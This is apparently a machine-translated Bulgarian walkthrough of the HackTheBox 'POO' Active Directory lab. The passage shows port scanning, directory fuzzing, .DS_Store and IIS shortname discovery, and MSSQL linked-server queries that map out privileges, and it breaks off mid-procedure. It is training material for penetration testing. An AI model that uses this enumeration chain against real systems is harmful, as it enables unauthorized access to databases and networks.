HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π’ Ρ‚Π°Π·ΠΈ статия Ρ‰Π΅ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π°ΠΌΠ΅ ΠΏΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π΅ само Π½Π° машина, Π° Π½Π° цяла ΠΌΠΈΠ½ΠΈ лаборатория ΠΎΡ‚ сайта HackTheBox.

ΠšΠ°ΠΊΡ‚ΠΎ Π΅ посочСно Π² описаниСто, POO Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€Π°Π½ Π΄Π° тСства умСния Π½Π° всички Π΅Ρ‚Π°ΠΏΠΈ Π½Π° Π°Ρ‚Π°ΠΊΠΈ Π² ΠΌΠ°Π»ΠΊΠ° срСда Π½Π° Active Directory. Π¦Π΅Π»Ρ‚Π° Π΅ Π΄Π° ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Ρ‚Π΅ Π½Π°Π»ΠΈΡ‡Π΅Π½ хост, Π΄Π° СскалиратС ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡ‚Π΅ ΠΈ Π² ΠΊΡ€Π°ΠΉΠ½Π° смСтка Π΄Π° ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Ρ‚Π΅ цСлия Π΄ΠΎΠΌΠ΅ΠΉΠ½ Ρ‡Ρ€Π΅Π· ΡΡŠΠ±ΠΈΡ€Π°Π½Π΅ Π½Π° 5 Ρ„Π»Π°Π³Π° Π² процСса.

Π’Ρ€ΡŠΠ·ΠΊΠ°Ρ‚Π° с лабораторията Π΅ Ρ‡Ρ€Π΅Π· VPN. ΠŸΡ€Π΅ΠΏΠΎΡ€ΡŠΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ Π΅ Π΄Π° Π½Π΅ сС ΡΠ²ΡŠΡ€Π·Π²Π°Ρ‚Π΅ ΠΎΡ‚ Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€ ΠΈΠ»ΠΈ ΠΎΡ‚ хост, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ ΠΈΠΌΠ° Π²Π°ΠΆΠ½ΠΈ Π·Π° вас Π΄Π°Π½Π½ΠΈ, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π²Π»ΠΈΠ·Π°Ρ‚Π΅ Π² частна ΠΌΡ€Π΅ΠΆΠ° с Ρ…ΠΎΡ€Π°, ΠΊΠΎΠΈΡ‚ΠΎ знаят Π½Π΅Ρ‰ΠΎ Π·Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° сигурност πŸ™‚

ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΎΠ½Π½Π° информация
Π—Π° Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π½Π°ΡƒΡ‡ΠΈΡ‚Π΅ Π·Π° Π½ΠΎΠ²ΠΈ статии, софтуСр ΠΈ Π΄Ρ€ΡƒΠ³Π° информация, ΡΡŠΠ·Π΄Π°Π΄ΠΎΡ… Π’Π΅Π»Π΅Π³Ρ€Π°ΠΌ ΠΊΠ°Π½Π°Π» ΠΈ Π³Ρ€ΡƒΠΏΠ° Π·Π° обсъТданС Π½Π° всякакви Π²ΡŠΠΏΡ€ΠΎΡΠΈ Π² Ρ€Π°ΠΉΠΎΠ½Π° Π½Π° Π˜Π˜ΠšΠ‘. Π‘ΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π²Π°ΡˆΠΈΡ‚Π΅ Π»ΠΈΡ‡Π½ΠΈ искания, Π²ΡŠΠΏΡ€ΠΎΡΠΈ, прСдлоТСния ΠΈ ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΠΊΠΈ Π©Π΅ Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌ ΠΈ Ρ‰Π΅ отговоря Π½Π° всички..

Цялата информация сС прСдоставя само Π·Π° ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚Π΅Π»Π½ΠΈ Ρ†Π΅Π»ΠΈ. ΠΠ²Ρ‚ΠΎΡ€ΡŠΡ‚ Π½Π° Ρ‚ΠΎΠ·ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΏΠΎΠ΅ΠΌΠ° Π½ΠΈΠΊΠ°ΠΊΠ²Π° отговорност Π·Π° Ρ‰Π΅Ρ‚ΠΈ, ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ΠΈ Π½Π° ΠΊΠΎΠ³ΠΎΡ‚ΠΎ ΠΈ Π΄Π° Π±ΠΈΠ»ΠΎ Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° знанията ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΡ‚Π΅, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° ΠΈΠ·ΡƒΡ‡Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚ΠΎΠ·ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.

Intro

Π’Π°Π·ΠΈ ΠΊΡ€Π°ΠΉΠ½Π° ΠΈΠ³Ρ€Π° сС ΡΡŠΡΡ‚ΠΎΠΈ ΠΎΡ‚ Π΄Π²Π΅ машини ΠΈ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° 5 Ρ„Π»Π°Π³Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠžΠΏΠΈΡΠ°Π½ΠΈΠ΅Ρ‚ΠΎ ΠΈ Π°Π΄Ρ€Π΅ΡΡŠΡ‚ Π½Π° наличния хост ΡΡŠΡ‰ΠΎ са Π΄Π°Π΄Π΅Π½ΠΈ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π”Π° Π·Π°ΠΏΠΎΡ‡Π½Π΅ΠΌ!

Π Π°Π·ΡƒΠ·Π½Π°Π²Π°Ρ‚Π΅Π»Π½ΠΎ Π·Π½Π°ΠΌΠ΅

Π’Π°Π·ΠΈ машина ΠΈΠΌΠ° IP адрСс 10.13.38.11, ΠΊΠΎΠΉΡ‚ΠΎ добавям към /etc/hosts.
10.13.38.11 poo.htb

ΠŸΡŠΡ€Π²Π°Ρ‚Π° ΡΡ‚ΡŠΠΏΠΊΠ° Π΅ Π΄Π° сканиратС ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅. Въй ΠΊΠ°Ρ‚ΠΎ сканиранСто Π½Π° всички ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ с nmap ΠΎΡ‚Π½Π΅ΠΌΠ° ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅, ΠΏΡŠΡ€Π²ΠΎ Ρ‰Π΅ Π³ΠΎ направя с masscan. НиС сканирамС всички TCP ΠΈ UDP ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ ΠΎΡ‚ интСрфСйса tun0 ΠΏΡ€ΠΈ 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π΅Π³Π°, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΏΠΎ-ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π° информация Π·Π° услугитС, ΠΊΠΎΠΈΡ‚ΠΎ работят Π½Π° ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅Ρ‚Π΅, Π½Π΅ΠΊΠ° стартирамС сканиранС с опцията -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ ΠΈΠΌΠ°ΠΌΠ΅ IIS ΠΈ MSSQL услуги. Π’ Ρ‚ΠΎΠ·ΠΈ случай Ρ‰Π΅ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ истинското DNS ΠΈΠΌΠ΅ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π° ΠΈ ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π°. На ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° Π½ΠΈ посрСща Π½Π°Ρ‡Π°Π»Π½Π°Ρ‚Π° страница Π½Π° IIS.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

НСка ΠΏΡ€Π΅Π³Π»Π΅Π΄Π°ΠΌΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΡ‚Π΅. Използвам gobuster Π·Π° Ρ‚ΠΎΠ²Π°. Π’ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅ посочвамС броя Π½Π° ΠΏΠΎΡ‚ΠΎΡ†ΠΈΡ‚Π΅ 128 (-t), URL (-u), Ρ€Π΅Ρ‡Π½ΠΈΠΊΠ° (-w) ΠΈ Ρ€Π°Π·ΡˆΠΈΡ€Π΅Π½ΠΈΡΡ‚Π°, ΠΊΠΎΠΈΡ‚ΠΎ Π½ΠΈ интСрСсуват (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ ΠΈΠΌΠ°ΠΌΠ΅ HTTP удостовСряванС Π·Π° дирСкторията /admin, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ наличния Ρ„Π°ΠΉΠ» Π·Π° ΡΡŠΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π½Π° услугата Π·Π° настолни ΠΊΠΎΠΌΠΏΡŽΡ‚Ρ€ΠΈ .DS_Store. .DS_Store са Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡ‚ΠΎ ΡΡŠΡ…Ρ€Π°Π½ΡΠ²Π°Ρ‚ потрСбитСлски настройки Π·Π° ΠΏΠ°ΠΏΠΊΠ°, ΠΊΠ°Ρ‚ΠΎ списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, мСстополоТСниС Π½Π° ΠΈΠΊΠΎΠ½Π°, ΠΈΠ·Π±Ρ€Π°Π½ΠΎ Ρ„ΠΎΠ½ΠΎΠ²ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Вакъв Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΎΠΊΠ°ΠΆΠ΅ Π² дирСкторията Π½Π° ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° ΡƒΠ΅Π± Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅. Π’Π°ΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ информация Π·Π° ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° дирСкторията. Π—Π° Ρ‚ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ DS_Store Ρ€ΠΎΠ±ΠΎΡ‚.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠŸΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° дирСкторията. Най-интСрСсното Ρ‚ΡƒΠΊ Π΅ дирСкторията /dev, ΠΎΡ‚ която ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΡ†ΠΈΡ‚Π΅ ΠΈ db Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ Π² Π΄Π²Π° ΠΊΠ»ΠΎΠ½Π°. Но ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΠΏΡŠΡ€Π²ΠΈΡ‚Π΅ 6 Π·Π½Π°ΠΊΠ° ΠΎΡ‚ ΠΈΠΌΠ΅Π½Π°Ρ‚Π° Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Π°ΠΊΠΎ услугата Π΅ уязвима към IIS ShortName. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚Π΅ Π·Π° Ρ‚Π°Π·ΠΈ уязвимост, ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ IIS скСнСр Π·Π° ΡΡŠΠΊΡ€Π°Ρ‚Π΅Π½ΠΈ ΠΈΠΌΠ΅Π½Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ Π΅Π΄ΠΈΠ½ тСкстов Ρ„Π°ΠΉΠ», ΠΊΠΎΠΉΡ‚ΠΎ Π·Π°ΠΏΠΎΡ‡Π²Π° с "poo_co". НС Π·Π½Π°Π΅ΠΉΠΊΠΈ ΠΊΠ°ΠΊΠ²ΠΎ Π΄Π° правя ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΠΊ, просто ΠΈΠ·Π±Ρ€Π°Ρ… ΠΎΡ‚ Ρ€Π΅Ρ‡Π½ΠΈΠΊΠ° Π½Π° Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΡ‚Π΅ всички Π΄ΡƒΠΌΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ Π·Π°ΠΏΠΎΡ‡Π²Π°Ρ‚ с "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

И ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Ρ‚Π΅ с wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Π½Π°ΠΌΠ΅Ρ€Π΅Ρ‚Π΅ Ρ‚ΠΎΡ‡Π½Π°Ρ‚Π° Π΄ΡƒΠΌΠ°! Π Π°Π·Π³Π»Π΅ΠΆΠ΄Π°ΠΌΠ΅ Ρ‚ΠΎΠ·ΠΈ Ρ„Π°ΠΉΠ», Π·Π°ΠΏΠ°Π·Π²Π°ΠΌΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ (съдСйки ΠΏΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° DBNAME, Ρ‚Π΅ са ΠΎΡ‚ MSSQL).

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠŸΡ€Π΅Π΄Π°Π²Π°ΠΌΠ΅ Π·Π½Π°ΠΌΠ΅Ρ‚ΠΎ ΠΈ Π½Π°ΠΏΡ€Π΅Π΄Π²Π°ΠΌΠ΅ с 20%.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π₯ъ Π·Π½Π°ΠΌΠ΅

Π‘Π²ΡŠΡ€Π·Π²Π°ΠΌΠ΅ сС с MSSQL, Π°Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ DBeaver.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

НС Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ Π½ΠΈΡ‰ΠΎ интСрСсно Π² Ρ‚Π°Π·ΠΈ Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ, Π½Π΅ΠΊΠ° създадСм SQL Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ΠΊΠ°ΠΊΠ²ΠΈ са ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅.

SELECT name FROM master..syslogins;

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ИмамС Π΄Π²Π°ΠΌΠ° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ. Π”Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Π½Π°ΡˆΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»Π½ΠΎ няма Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. НСка Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈΡ‚Π΅ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, писах ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π·Π° Ρ‚Π°Π·ΠΈ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Ρ‚ΡƒΠΊ.

SELECT * FROM master..sysservers;

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π’Π°ΠΊΠ° Ρ‡Π΅ Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ Π΄Ρ€ΡƒΠ³ SQL ΡΡŠΡ€Π²ΡŠΡ€. НСка ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅ Π½Π° Ρ‚ΠΎΠ·ΠΈ ΡΡŠΡ€Π²ΡŠΡ€ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Π΄ΠΎΡ€ΠΈ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΈΠ·Π³Ρ€Π°Π΄ΠΈΠΌ Π΄ΡŠΡ€Π²ΠΎ Π½Π° заявката.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Π€Π°ΠΊΡ‚ Π΅, Ρ‡Π΅ ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠΌ заявка към ΡΠ²ΡŠΡ€Π·Π°Π½ ΡΡŠΡ€Π²ΡŠΡ€, заявката сС изпълнява Π² контСкста Π½Π° Π΄Ρ€ΡƒΠ³ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»! НСка Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ какъв потрСбитСлски контСкст изпълнявамС Π½Π° ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈΡ ΡΡŠΡ€Π²ΡŠΡ€.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

А сСга Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ Π² какъв контСкст сС изпълнява заявката ΠΎΡ‚ ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈΡ ΡΡŠΡ€Π²ΡŠΡ€ към нашия!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»Π½ΠΎ Ρ‚ΠΎΠ²Π° Π΅ DBO контСкст, ΠΊΠΎΠΉΡ‚ΠΎ трябва Π΄Π° ΠΈΠΌΠ° всички ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. НСка ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡ‚Π΅ Π² случай Π½Π° заявка ΠΎΡ‚ ΡΠ²ΡŠΡ€Π·Π°Π½ ΡΡŠΡ€Π²ΡŠΡ€.

